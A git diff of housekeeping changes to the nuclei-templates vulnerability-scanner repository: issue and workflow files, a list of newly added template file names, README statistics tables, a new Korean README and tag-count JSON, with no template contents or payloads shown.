diff --git a/.github/ISSUE_TEMPLATE/new-template.md b/.github/ISSUE_TEMPLATE/new-template.md new file mode 100644 index 0000000000..428b440e80 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/new-template.md @@ -0,0 +1,17 @@ +--- +name: Template Request +about: 'request for new template to be created.' +labels: 'new-template' + +--- + + + + +### Template for? + + + +### Details: + + \ No newline at end of file diff --git a/.github/workflows/cache-purge.yml b/.github/workflows/cache-purge.yml new file mode 100644 index 0000000000..0cdd8e99f5 --- /dev/null +++ b/.github/workflows/cache-purge.yml @@ -0,0 +1,18 @@ +name: ๐Ÿ—‘๏ธ Cache Purge + +on: + push: + tags: + - '*' + workflow_dispatch: + +jobs: + deploy: + runs-on: ubuntu-latest + steps: + - name: Purge cache + uses: jakejarvis/cloudflare-purge-action@master + env: + CLOUDFLARE_ZONE: ${{ secrets.CLOUDFLARE_ZONE }} + CLOUDFLARE_TOKEN: ${{ secrets.CLOUDFLARE_TOKEN }} +# PURGE_URLS: '["https://version-check.nuclei.sh/versions"]' \ No newline at end of file diff --git a/.github/workflows/cve-annotate.yml b/.github/workflows/cve-annotate.yml index 1253309751..9bc55c6447 100644 --- a/.github/workflows/cve-annotate.yml +++ b/.github/workflows/cve-annotate.yml @@ -29,7 +29,7 @@ jobs: - name: Generate CVE Annotations id: cve-annotate run: | - cve-annotate -i ./cves/ -d . + cve-annotate -i . -d . echo "::set-output name=changes::$(git status -s | wc -l)" - name: Commit files diff --git a/.github/workflows/template-validate.yml b/.github/workflows/template-validate.yml index 4107c2edcc..bab829208b 100644 --- a/.github/workflows/template-validate.yml +++ b/.github/workflows/template-validate.yml @@ -25,5 +25,5 @@ jobs: - name: Template Validation run: | cp -r ${{ github.workspace }} $HOME - nuclei -validate -t . + nuclei -validate nuclei -validate -w ./workflows \ No newline at end of file diff --git a/.new-additions b/.new-additions index 82aef81f32..1c8a13aa94 100644 --- a/.new-additions +++ b/.new-additions @@ -1,9 +1,35 @@ -cnvd/2020/CNVD-2020-46552.yaml -cves/2021/CVE-2021-20123.yaml -cves/2021/CVE-2021-20124.yaml -cves/2021/CVE-2021-25075.yaml -cves/2022/CVE-2022-30489.yaml -misconfiguration/unauth-wavink-panel.yaml -technologies/kubernetes-operational-view-detect.yaml -vulnerabilities/wordpress/seo-redirection-xss.yaml -workflows/yonyou-nc-workflow.yaml +cnvd/2022/CNVD-2022-42853.yaml +cves/2014/CVE-2014-8676.yaml +cves/2015/CVE-2015-7245.yaml +cves/2018/CVE-2018-16139.yaml +cves/2020/CVE-2020-13258.yaml +cves/2021/CVE-2021-35380.yaml +cves/2021/CVE-2021-42663.yaml +cves/2021/CVE-2021-42667.yaml +cves/2022/CVE-2022-2376.yaml +cves/2022/CVE-2022-23854.yaml +cves/2022/CVE-2022-29004.yaml +cves/2022/CVE-2022-29005.yaml +cves/2022/CVE-2022-31474.yaml +cves/2022/CVE-2022-35405.yaml +cves/2022/CVE-2022-36642.yaml +cves/2022/CVE-2022-37299.yaml +cves/2022/CVE-2022-38794.yaml +default-logins/3com/3com-nj2000-default-login.yaml +exposed-panels/appsmith-web-login.yaml +exposed-panels/ccm-detect.yaml +exposed-panels/corebos-panel.yaml +exposed-panels/cvent-panel-detect.yaml +exposed-panels/omniampx-panel.yaml +exposed-panels/v2924-admin-panel.yaml +exposures/logs/redis-exception-error.yaml +exposures/logs/webalizer-xtended-stats.yaml +misconfiguration/aws-xray-application.yaml +misconfiguration/corebos-htaccess.yaml +misconfiguration/ec2-instance-information.yaml +misconfiguration/graphql/graphql-playground.yaml +misconfiguration/hivequeue-agent.yaml +misconfiguration/server-status.yaml +technologies/jhipster-detect.yaml +technologies/openssl-detect.yaml +vulnerabilities/videoxpert-lfi.yaml diff --git a/.nuclei-ignore b/.nuclei-ignore index 832ecac550..31dc7b597f 100644 --- a/.nuclei-ignore +++ b/.nuclei-ignore @@ -3,6 +3,11 @@ # # This is default list of tags and files to excluded from default nuclei scan. # More details - https://nuclei.projectdiscovery.io/nuclei/get-started/#template-exclusion +# +# ============ DO NOT EDIT ============ +# Automatically updated by nuclei on execution from nuclei-templates +# User changes should be in nuclei config file +# ============ DO NOT EDIT ============ # tags is a list of tags to ignore execution for # unless asked for by the user. diff --git a/README.md b/README.md index 8026d4b3ab..751233d987 100644 --- a/README.md +++ b/README.md @@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags, | TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT | |-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------| -| cve | 1156 | daffainfo | 560 | cves | 1160 | info | 1192 | http | 3187 | -| panel | 515 | dhiyaneshdk | 421 | exposed-panels | 523 | high | 874 | file | 68 | -| lfi | 461 | pikpikcu | 316 | vulnerabilities | 452 | medium | 662 | network | 50 | -| xss | 367 | pdteam | 262 | technologies | 255 | critical | 414 | dns | 17 | -| wordpress | 364 | geeknik | 179 | exposures | 204 | low | 183 | | | -| exposure | 293 | dwisiswant0 | 168 | misconfiguration | 197 | unknown | 6 | | | -| rce | 291 | princechaddha | 133 | workflows | 186 | | | | | -| cve2021 | 283 | 0x_akoko | 130 | token-spray | 154 | | | | | -| tech | 271 | gy741 | 118 | default-logins | 95 | | | | | -| wp-plugin | 264 | pussycat0x | 116 | file | 68 | | | | | +| cve | 1430 | daffainfo | 631 | cves | 1407 | info | 1474 | http | 3858 | +| panel | 655 | dhiyaneshdk | 584 | exposed-panels | 662 | high | 1009 | file | 76 | +| edb | 563 | pikpikcu | 329 | vulnerabilities | 509 | medium | 818 | network | 51 | +| lfi | 509 | pdteam | 269 | technologies | 282 | critical | 478 | dns | 17 | +| xss | 491 | geeknik | 187 | exposures | 275 | low | 225 | | | +| wordpress | 419 | dwisiswant0 | 169 | misconfiguration | 237 | unknown | 11 | | | +| exposure | 407 | 0x_akoko | 165 | token-spray | 230 | | | | | +| cve2021 | 352 | princechaddha | 151 | workflows | 189 | | | | | +| rce | 337 | ritikchaddha | 137 | default-logins | 103 | | | | | +| wp-plugin | 316 | pussycat0x | 133 | file | 76 | | | | | -**261 directories, 3543 files**. +**296 directories, 4231 files**. diff --git a/README_KR.md b/README_KR.md new file mode 100644 index 0000000000..8bf4ba4257 --- /dev/null +++ b/README_KR.md @@ -0,0 +1,96 @@ + + +

+Nuclei ํ…œํ”Œ๋ฆฟ +

+

์ปค๋ฎค๋‹ˆํ‹ฐ์—์„œ ์—„์„ ํ•œ, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ณด์•ˆ ์ทจ์•ฝ์ ์„ ์ฐพ๊ธฐ ์œ„ํ•œ Nuclei ์—”์ง„์šฉ ํ…œํ”Œ๋ฆฟ ๋ชฉ๋ก

+ + +

+ + + + +

+ +

+ ๊ฐ€์ด๋“œ ๋ฌธ์„œ โ€ข + ๊ธฐ์—ฌ โ€ข + ๋…ผ์˜ โ€ข + ์ปค๋ฎค๋‹ˆํ‹ฐ โ€ข + FAQs โ€ข + ๋””์Šค์ฝ”๋“œ +

+ +

+ English โ€ข + ํ•œ๊ตญ์–ด +

+ +---- + +ํ…œํ”Œ๋ฆฟ์€ ์‹ค์ œ ์Šค์บ๋‹ ์—”์ง„์„ ๋™์ž‘ํ•˜๊ฒŒ ํ•˜๋Š” [nuclei scanner](https://github.com/projectdiscovery/nuclei)์˜ ํ•ต์‹ฌ์ž…๋‹ˆ๋‹ค. +์ด ์ €์žฅ์†Œ๋Š” ์šฐ๋ฆฌ ํŒ€์—์„œ ์ œ๊ณตํ•˜๊ฑฐ๋‚˜, ์ปค๋ฎค๋‹ˆํ‹ฐ์—์„œ ๊ธฐ์—ฌํ•œ ๋‹ค์–‘ํ•œ ํ…œํ”Œ๋ฆฟ๋“ค์„ ์ €์žฅํ•˜๊ณ  ๋ณด๊ด€ํ•ฉ๋‹ˆ๋‹ค. +ํ…œํ”Œ๋ฆฟ ๋ชฉ๋ก์„ ์ฆ๊ฐ€์‹œํ‚ค๊ธฐ ์œ„ํ•ด์„œ **pull requests** ๋‚˜ [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) ๋ฅผ ํ†ตํ•ด ๊ธฐ์—ฌํ•ด์ฃผ์‹œ๊ธฐ๋ฅผ ๋ถ€ํƒ๋“œ๋ฆฝ๋‹ˆ๋‹ค. + +## Nuclei ํ…œํ”Œ๋ฆฟ ๊ฐœ์š” + +๊ณ ์œ  ํƒœ๊ทธ, ์ž‘์„ฑ์ž, ๋””๋ ‰ํ† ๋ฆฌ, ์‹ฌ๊ฐ๋„, ํ…œํ”Œ๋ฆฟ ์ข…๋ฅ˜์— ๋Œ€ํ•œ ํ†ต๊ณ„๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ๋Š” nuclei ํ…œํ”Œ๋ฆฟ์˜ ๊ฐœ์š”์ž…๋‹ˆ๋‹ค. ์•„๋ž˜ ํ‘œ๋Š” ๊ฐ ์ง€ํ‘œ์˜ ์ƒ์œ„ 10๊ฐœ ํ•ญ๋ชฉ์„ ๋‚˜ํƒ€๋‚ด๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๋” ์ž์„ธํ•œ ์ •๋ณด๋Š” [์ด๊ณณ](TEMPLATES-STATS.md)์—์„œ ํ™•์ธ ๊ฐ€๋Šฅํ•˜๊ณ , [JSON](TEMPLATES-STATS.json) ํ˜•์‹์œผ๋กœ๋„ ํ™•์ธ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. + + + + + +
+ +## Nuclei ํ…œํ”Œ๋ฆฟ ํ†ต๊ณ„ Top 10 + +| ํƒœ๊ทธ | ๊ฐœ์ˆ˜ | ์ž‘์„ฑ์ž | ๊ฐœ์ˆ˜ | ๋””๋ ‰ํ† ๋ฆฌ | ๊ฐœ์ˆ˜ | ์‹ฌ๊ฐ๋„ | ๊ฐœ์ˆ˜ | ์ข…๋ฅ˜ | ๊ฐœ์ˆ˜ | +|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------| +| cve | 1325 | daffainfo | 629 | cves | 1306 | info | 1398 | http | 3644 | +| panel | 604 | dhiyaneshdk | 509 | exposed-panels | 613 | high | 955 | file | 76 | +| lfi | 490 | pikpikcu | 322 | vulnerabilities | 506 | medium | 784 | network | 50 | +| xss | 451 | pdteam | 269 | technologies | 273 | critical | 445 | dns | 17 | +| wordpress | 409 | geeknik | 187 | exposures | 254 | low | 211 | | | +| exposure | 360 | dwisiswant0 | 169 | token-spray | 230 | unknown | 7 | | | +| cve2021 | 324 | 0x_akoko | 157 | misconfiguration | 210 | | | | | +| rce | 319 | princechaddha | 149 | workflows | 187 | | | | | +| wp-plugin | 304 | pussycat0x | 130 | default-logins | 102 | | | | | +| tech | 286 | gy741 | 126 | file | 76 | | | | | + +**286๊ฐœ ๋””๋ ‰ํ† ๋ฆฌ, 4012๊ฐœ ํŒŒ์ผ**. + +
+ +๐Ÿ“– ๋ฌธ์„œ +----- + +์ƒˆ ํ…œํ”Œ๋ฆฟ์ด๋‚˜ ์‚ฌ์šฉ์ž ์ •์˜ ํ…œํ”Œ๋ฆฟ์„ ๋นŒ๋“œํ•˜๊ธฐ ์œ„ํ•œ ์ž์„ธํ•œ ๋ฌธ์„œ๋Š” https://nuclei.projectdiscovery.io ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž‘์—… ๋ฐฉ์‹์˜ ์ดํ•ด๋ฅผ ๋•๊ธฐ ์œ„ํ•œ ํ…œํ”Œ๋ฆฟ๋“ค๋„ ์žˆ์Šต๋‹ˆ๋‹ค. + +๐Ÿ’ช ๊ธฐ์—ฌ +----- + +Nuclei ํ…œํ”Œ๋ฆฟ์€ ์ปค๋ฎค๋‹ˆํ‹ฐ์˜ ๊ธฐ์—ฌ๋กœ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค. +[ํ…œํ”Œ๋ฆฟ ๊ธฐ์—ฌ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [๊ธฐ๋Šฅ ์š”์ฒญ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+), [๋ฒ„๊ทธ ์ œ๋ณด](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+)๋Š” ์–ธ์ œ๋“ ์ง€ ํ™˜์˜ํ•ฉ๋‹ˆ๋‹ค. + +![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image") + +๐Ÿ’ฌ ๋…ผ์˜ +----- + +๊ฐ™์ด ์ด์•ผ๊ธฐํ•˜๊ณ  ์‹ถ์€ ์งˆ๋ฌธ, ์˜๋ฌธ ํ˜น์€ ์•„์ด๋””์–ด๊ฐ€ ์žˆ์œผ์‹ ๊ฐ€์š”? +[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) ์—์„œ ์ž์œ ๋กญ๊ฒŒ ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. + +๐Ÿ‘จโ€๐Ÿ’ป ์ปค๋ฎค๋‹ˆํ‹ฐ +----- + +ํ”„๋กœ์ ํŠธ ๊ด€๋ฆฌ์ž์™€ ์ง์ ‘ ๋…ผ์˜ํ•˜๊ณ  ๋ณด์•ˆ๊ณผ ์ž๋™ํ™” ๊ด€๋ จ ์‚ฌํ•ญ์„ ๋‹ค๋ฅธ ์‚ฌ๋žŒ๊ณผ ๊ณต์œ ํ•˜๊ธฐ ์œ„ํ•ด [Discord Community](https://discord.gg/projectdiscovery) ์— ์ฐธ์—ฌํ•˜๋Š” ๊ฒƒ์„ ํ™˜์˜ํ•ฉ๋‹ˆ๋‹ค. ์ถ”๊ฐ€๋กœ Nuclei ์— ๋Œ€ํ•œ ๋ชจ๋“  ์ •๋ณด๋ฅผ ์—…๋ฐ์ดํŠธ ํ•˜๊ธฐ ์œ„ํ•ด [ํŠธ์œ„ํ„ฐ](https://twitter.com/pdnuclei) ํŒ”๋กœ์šฐ๋ฅผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. + +

+ + + +

+ +์—ฌ๋Ÿฌ๋ถ„์˜ ๊ธฐ์—ฌ์™€ ์ปค๋ฎค๋‹ˆํ‹ฐ์˜ ํ™œ์„ฑํ™”๋ฅผ ์œ„ํ•œ ๋…ธ๋ ฅ์— ๋‹ค์‹œํ•œ๋ฒˆ ๊ฐ์‚ฌ๋“œ๋ฆฝ๋‹ˆ๋‹ค. +:heart: diff --git a/TEMPLATES-STATS.json b/TEMPLATES-STATS.json index 649fb65dc0..beae7d1561 100644 --- a/TEMPLATES-STATS.json +++ b/TEMPLATES-STATS.json @@ -1 +1 @@ -{"tags":[{"name":"cve","count":1156},{"name":"panel","count":515},{"name":"lfi","count":461},{"name":"xss","count":367},{"name":"wordpress","count":364},{"name":"exposure","count":293},{"name":"rce","count":291},{"name":"cve2021","count":283},{"name":"tech","count":271},{"name":"wp-plugin","count":264},{"name":"cve2020","count":197},{"name":"","count":188},{"name":"token-spray","count":154},{"name":"joomla","count":131},{"name":"config","count":126},{"name":"cve2018","count":121},{"name":"apache","count":120},{"name":"cve2019","count":118},{"name":"cve2010","count":111},{"name":"default-login","count":110},{"name":"unauth","count":108},{"name":"iot","count":102},{"name":"oast","count":97},{"name":"login","count":85},{"name":"takeover","count":73},{"name":"token","count":72},{"name":"redirect","count":71},{"name":"misconfig","count":65},{"name":"cve2017","count":64},{"name":"cve2022","count":63},{"name":"sqli","count":62},{"name":"ssrf","count":61},{"name":"file","count":60},{"name":"wp","count":55},{"name":"network","count":53},{"name":"router","count":52},{"name":"oracle","count":50},{"name":"cve2016","count":45},{"name":"disclosure","count":45},{"name":"plugin","count":40},{"name":"auth-bypass","count":39},{"name":"cve2014","count":37},{"name":"google","count":36},{"name":"cve2015","count":36},{"name":"cisco","count":35},{"name":"authenticated","count":35},{"name":"logs","count":33},{"name":"atlassian","count":32},{"name":"listing","count":30},{"name":"jira","count":30},{"name":"injection","count":30},{"name":"traversal","count":29},{"name":"devops","count":28},{"name":"generic","count":26},{"name":"kubernetes","count":25},{"name":"adobe","count":24},{"name":"cms","count":24},{"name":"springboot","count":24},{"name":"oss","count":24},{"name":"sap","count":22},{"name":"cnvd","count":22},{"name":"proxy","count":22},{"name":"microsoft","count":21},{"name":"debug","count":21},{"name":"intrusive","count":21},{"name":"misc","count":21},{"name":"vmware","count":21},{"name":"aem","count":21},{"name":"wp-theme","count":20},{"name":"service","count":20},{"name":"fuzz","count":20},{"name":"manageengine","count":19},{"name":"cve2012","count":19},{"name":"dns","count":18},{"name":"zoho","count":18},{"name":"php","count":18},{"name":"tomcat","count":17},{"name":"aws","count":17},{"name":"deserialization","count":17},{"name":"weblogic","count":17},{"name":"struts","count":16},{"name":"ibm","count":16},{"name":"k8s","count":16},{"name":"cve2011","count":15},{"name":"dlink","count":15},{"name":"jenkins","count":15},{"name":"gitlab","count":15},{"name":"api","count":14},{"name":"java","count":14},{"name":"android","count":14},{"name":"cve2009","count":14},{"name":"fileupload","count":14},{"name":"hp","count":14},{"name":"xxe","count":14},{"name":"firewall","count":13},{"name":"camera","count":13},{"name":"ruijie","count":13},{"name":"status","count":12},{"name":"nginx","count":12},{"name":"rails","count":12},{"name":"printer","count":12},{"name":"netsweeper","count":12},{"name":"log4j","count":12},{"name":"cve2013","count":12},{"name":"lfr","count":12},{"name":"magento","count":11},{"name":"upload","count":11},{"name":"cnvd2021","count":11},{"name":"netgear","count":11},{"name":"graphql","count":11},{"name":"grafana","count":10},{"name":"coldfusion","count":10},{"name":"glpi","count":10},{"name":"fortigate","count":10},{"name":"dell","count":10},{"name":"backup","count":10},{"name":"jolokia","count":10},{"name":"spring","count":10},{"name":"auth","count":10},{"name":"airflow","count":10},{"name":"woocommerce","count":9},{"name":"fastjson","count":9},{"name":"iis","count":9},{"name":"fortinet","count":9},{"name":"drupal","count":9},{"name":"zabbix","count":9},{"name":"mirai","count":9},{"name":"cve2008","count":9},{"name":"jndi","count":9},{"name":"ftp","count":9},{"name":"github","count":9},{"name":"windows","count":9},{"name":"webserver","count":9},{"name":"laravel","count":9},{"name":"wso2","count":9},{"name":"bypass","count":8},{"name":"audit","count":8},{"name":"metadata","count":8},{"name":"phpmyadmin","count":8},{"name":"vcenter","count":8},{"name":"confluence","count":8},{"name":"solr","count":8},{"name":"zyxel","count":8},{"name":"amazon","count":8},{"name":"citrix","count":8},{"name":"prometheus","count":8},{"name":"blind","count":8},{"name":"django","count":8},{"name":"azure","count":8},{"name":"scada","count":8},{"name":"firebase","count":7},{"name":"maps","count":7},{"name":"squirrelmail","count":7},{"name":"python","count":7},{"name":"rconfig","count":7},{"name":"elasticsearch","count":7},{"name":"kube","count":7},{"name":"sonicwall","count":7},{"name":"ssti","count":7},{"name":"mail","count":7},{"name":"exchange","count":7},{"name":"kafka","count":7},{"name":"files","count":7},{"name":"vpn","count":7},{"name":"bucket","count":7},{"name":"docker","count":6},{"name":"cobbler","count":6},{"name":"sitecore","count":6},{"name":"jetty","count":6},{"name":"fpd","count":6},{"name":"nodejs","count":6},{"name":"ofbiz","count":6},{"name":"druid","count":6},{"name":"dedecms","count":6},{"name":"crlf","count":6},{"name":"backdoor","count":6},{"name":"magmi","count":6},{"name":"jboss","count":6},{"name":"slack","count":6},{"name":"enum","count":6},{"name":"huawei","count":6},{"name":"headless","count":6},{"name":"zimbra","count":6},{"name":"lucee","count":6},{"name":"firmware","count":6},{"name":"bigip","count":6},{"name":"cicd","count":6},{"name":"go","count":6},{"name":"ecology","count":6},{"name":"cnvd2020","count":6},{"name":"setup","count":5},{"name":"cache","count":5},{"name":"kubelet","count":5},{"name":"thinkphp","count":5},{"name":"opensis","count":5},{"name":"artica","count":5},{"name":"circarlife","count":5},{"name":"symantec","count":5},{"name":"apisix","count":5},{"name":"moodle","count":5},{"name":"node","count":5},{"name":"gocd","count":5},{"name":"minio","count":5},{"name":"rseenet","count":5},{"name":"alibaba","count":5},{"name":"microweber","count":5},{"name":"error","count":5},{"name":"ssl","count":5},{"name":"rfi","count":5},{"name":"metinfo","count":5},{"name":"zhiyuan","count":5},{"name":"icewarp","count":5},{"name":"leak","count":5},{"name":"git","count":5},{"name":"strapi","count":5},{"name":"solarwinds","count":5},{"name":"keycloak","count":5},{"name":"fatpipe","count":5},{"name":"symfony","count":5},{"name":"ruby","count":5},{"name":"storage","count":5},{"name":"samsung","count":5},{"name":"photo","count":4},{"name":"cve2007","count":4},{"name":"oa","count":4},{"name":"terramaster","count":4},{"name":"ognl","count":4},{"name":"websphere","count":4},{"name":"buffalo","count":4},{"name":"nexus","count":4},{"name":"kevinlab","count":4},{"name":"sophos","count":4},{"name":"ssh","count":4},{"name":"resin","count":4},{"name":"cacti","count":4},{"name":"plesk","count":4},{"name":"elastic","count":4},{"name":"search","count":4},{"name":"jellyfin","count":4},{"name":"hongdian","count":4},{"name":"asp","count":4},{"name":"cloud","count":4},{"name":"hpe","count":4},{"name":"wcs","count":4},{"name":"paypal","count":4},{"name":"hoteldruid","count":4},{"name":"panos","count":4},{"name":"gogs","count":4},{"name":"cockpit","count":4},{"name":"aspose","count":4},{"name":"couchdb","count":4},{"name":"caucho","count":4},{"name":"tikiwiki","count":4},{"name":"artifactory","count":4},{"name":"flink","count":4},{"name":"mailchimp","count":4},{"name":"microstrategy","count":4},{"name":"sonarqube","count":4},{"name":"springcloud","count":4},{"name":"kibana","count":4},{"name":"prestashop","count":4},{"name":"hikvision","count":4},{"name":"thinkcmf","count":4},{"name":"db","count":4},{"name":"adminer","count":4},{"name":"voip","count":4},{"name":"activemq","count":4},{"name":"puppet","count":4},{"name":"smtp","count":4},{"name":"stripe","count":4},{"name":"awstats","count":4},{"name":"cnvd2019","count":4},{"name":"jetbrains","count":4},{"name":"beyondtrust","count":4},{"name":"npm","count":4},{"name":"xmlrpc","count":4},{"name":"mongodb","count":4},{"name":"sugarcrm","count":3},{"name":"voipmonitor","count":3},{"name":"kingsoft","count":3},{"name":"rlm","count":3},{"name":"synology","count":3},{"name":"httpbin","count":3},{"name":"seagate","count":3},{"name":"facebook","count":3},{"name":"lansweeper","count":3},{"name":"jeesns","count":3},{"name":"jfrog","count":3},{"name":"thinfinity","count":3},{"name":"openssh","count":3},{"name":"linkedin","count":3},{"name":"workspaceone","count":3},{"name":"javascript","count":3},{"name":"circleci","count":3},{"name":"smb","count":3},{"name":"axis","count":3},{"name":"ampps","count":3},{"name":"ebs","count":3},{"name":"sql","count":3},{"name":"umbraco","count":3},{"name":"log","count":3},{"name":"globalprotect","count":3},{"name":"empirecms","count":3},{"name":"telerik","count":3},{"name":"seeyon","count":3},{"name":"openbmcs","count":3},{"name":"postmessage","count":3},{"name":"oauth","count":3},{"name":"openam","count":3},{"name":"lotus","count":3},{"name":"zeroshell","count":3},{"name":"netlify","count":3},{"name":"square","count":3},{"name":"bruteforce","count":3},{"name":"linksys","count":3},{"name":"heroku","count":3},{"name":"concrete","count":3},{"name":"linkerd","count":3},{"name":"cloudflare","count":3},{"name":"samba","count":3},{"name":"bitrix","count":3},{"name":"horizon","count":3},{"name":"fortios","count":3},{"name":"modem","count":3},{"name":"aptus","count":3},{"name":"sharepoint","count":3},{"name":"consul","count":3},{"name":"3cx","count":3},{"name":"database","count":3},{"name":"jamf","count":3},{"name":"elfinder","count":3},{"name":"mcafee","count":3},{"name":"redis","count":3},{"name":"prtg","count":3},{"name":"glassfish","count":3},{"name":"movable","count":3},{"name":"kentico","count":3},{"name":"cisa","count":3},{"name":"ems","count":3},{"name":"messaging","count":3},{"name":"dos","count":3},{"name":"targa","count":3},{"name":"graph","count":3},{"name":"hashicorp","count":3},{"name":"vbulletin","count":3},{"name":"centos","count":3},{"name":"geowebserver","count":3},{"name":"phpinfo","count":3},{"name":"splunk","count":3},{"name":"phppgadmin","count":3},{"name":"mongo","count":3},{"name":"wordfence","count":3},{"name":"odoo","count":3},{"name":"axis2","count":3},{"name":"webadmin","count":3},{"name":"nacos","count":3},{"name":"httpd","count":3},{"name":"nosqli","count":3},{"name":"panabit","count":3},{"name":"subrion","count":3},{"name":"actuator","count":3},{"name":"vrealize","count":3},{"name":"epson","count":3},{"name":"dreambox","count":3},{"name":"pentaho","count":3},{"name":"trendnet","count":3},{"name":"openemr","count":3},{"name":"dolibarr","count":3},{"name":"sendgrid","count":3},{"name":"nuuo","count":3},{"name":"axigen","count":3},{"name":"fanruan","count":3},{"name":"grav","count":3},{"name":"exposures","count":3},{"name":"trixbox","count":3},{"name":"selea","count":3},{"name":"fuelcms","count":3},{"name":"saltstack","count":2},{"name":"akamai","count":2},{"name":"tenda","count":2},{"name":"horde","count":2},{"name":"code42","count":2},{"name":"favicon","count":2},{"name":"nasos","count":2},{"name":"netsus","count":2},{"name":"accela","count":2},{"name":"zerof","count":2},{"name":"exacqvision","count":2},{"name":"dotnetnuke","count":2},{"name":"rackstation","count":2},{"name":"craftcms","count":2},{"name":"zte","count":2},{"name":"fortimail","count":2},{"name":"frontpage","count":2},{"name":"pacsone","count":2},{"name":"nextcloud","count":2},{"name":"gitbook","count":2},{"name":"nagios","count":2},{"name":"mantisbt","count":2},{"name":"orchid","count":2},{"name":"javamelody","count":2},{"name":"alfresco","count":2},{"name":"emqx","count":2},{"name":"virtualui","count":2},{"name":"pfsense","count":2},{"name":"maian","count":2},{"name":"password","count":2},{"name":"ericsson","count":2},{"name":"resourcespace","count":2},{"name":"avaya","count":2},{"name":"webcam","count":2},{"name":"mysql","count":2},{"name":"mailgun","count":2},{"name":"dynamicweb","count":2},{"name":"text","count":2},{"name":"natshell","count":2},{"name":"rancher","count":2},{"name":"checkpoint","count":2},{"name":"bitly","count":2},{"name":"ilo","count":2},{"name":"labkey","count":2},{"name":"seowon","count":2},{"name":"harbor","count":2},{"name":"mida","count":2},{"name":"rocketchat","count":2},{"name":"waf","count":2},{"name":"influxdb","count":2},{"name":"dvwa","count":2},{"name":"pam","count":2},{"name":"servicenow","count":2},{"name":"jsf","count":2},{"name":"apollo","count":2},{"name":"sangfor","count":2},{"name":"redash","count":2},{"name":"guacamole","count":2},{"name":"idea","count":2},{"name":"bigant","count":2},{"name":"nextjs","count":2},{"name":"tidb","count":2},{"name":"openstack","count":2},{"name":"ansible","count":2},{"name":"dotcms","count":2},{"name":"sysaid","count":2},{"name":"metersphere","count":2},{"name":"aruba","count":2},{"name":"netdata","count":2},{"name":"jeedom","count":2},{"name":"supermicro","count":2},{"name":"ucmdb","count":2},{"name":"myfactory","count":2},{"name":"justwriting","count":2},{"name":"seeddms","count":2},{"name":"rackn","count":2},{"name":"thruk","count":2},{"name":"gradle","count":2},{"name":"lantronix","count":2},{"name":"neos","count":2},{"name":"domxss","count":2},{"name":"places","count":2},{"name":"casdoor","count":2},{"name":"key","count":2},{"name":"owasp","count":2},{"name":"cocoon","count":2},{"name":"chyrp","count":2},{"name":"couchbase","count":2},{"name":"tableau","count":2},{"name":"s3","count":2},{"name":"avantfax","count":2},{"name":"getsimple","count":2},{"name":"liferay","count":2},{"name":"csrf","count":2},{"name":"avtech","count":2},{"name":"netis","count":2},{"name":"phpstorm","count":2},{"name":"flightpath","count":2},{"name":"shellshock","count":2},{"name":"rosariosis","count":2},{"name":"typo3","count":2},{"name":"akkadian","count":2},{"name":"phpshowtime","count":2},{"name":"sequoiadb","count":2},{"name":"cloudinary","count":2},{"name":"pcoip","count":2},{"name":"wamp","count":2},{"name":"sentry","count":2},{"name":"octoprint","count":2},{"name":"appcms","count":2},{"name":"ruckus","count":2},{"name":"phpcollab","count":2},{"name":"pbootcms","count":2},{"name":"ixcache","count":2},{"name":"f5","count":2},{"name":"flir","count":2},{"name":"ranger","count":2},{"name":"erxes","count":2},{"name":"terraform","count":2},{"name":"viewpoint","count":2},{"name":"qihang","count":2},{"name":"middleware","count":2},{"name":"kiwitcms","count":2},{"name":"bigbluebutton","count":2},{"name":"cve2005","count":2},{"name":"webmin","count":2},{"name":"gitea","count":2},{"name":"globaldomains","count":2},{"name":"impresscms","count":2},{"name":"openwrt","count":2},{"name":"bomgar","count":2},{"name":"tongda","count":2},{"name":"weather","count":2},{"name":"wuzhicms","count":2},{"name":"yapi","count":2},{"name":"jquery","count":2},{"name":"apereo","count":2},{"name":"twitter","count":2},{"name":"alienvault","count":2},{"name":"detect","count":2},{"name":"proftpd","count":2},{"name":"totemomail","count":2},{"name":"listserv","count":2},{"name":"wooyun","count":2},{"name":"dubbo","count":2},{"name":"chiyu","count":2},{"name":"ovirt","count":2},{"name":"ebook","count":2},{"name":"gnuboard","count":2},{"name":"digitalrebar","count":2},{"name":"sqlite","count":2},{"name":"payara","count":2},{"name":"electron","count":2},{"name":"openfire","count":2},{"name":"tileserver","count":2},{"name":"cve2006","count":2},{"name":"xweb500","count":2},{"name":"node-red-dashboard","count":2},{"name":"swagger","count":2},{"name":"jmx","count":2},{"name":"commax","count":2},{"name":"hasura","count":2},{"name":"versa","count":2},{"name":"docs","count":2},{"name":"linux","count":2},{"name":"ambari","count":2},{"name":"pega","count":2},{"name":"graphite","count":2},{"name":"yii","count":2},{"name":"gophish","count":2},{"name":"metabase","count":2},{"name":"gespage","count":2},{"name":"kafdrop","count":2},{"name":"ametys","count":2},{"name":"glances","count":2},{"name":"hjtcloud","count":2},{"name":"lighttpd","count":2},{"name":"embed","count":2},{"name":"sidekiq","count":2},{"name":"intercom","count":2},{"name":"ec2","count":2},{"name":"livezilla","count":2},{"name":"aue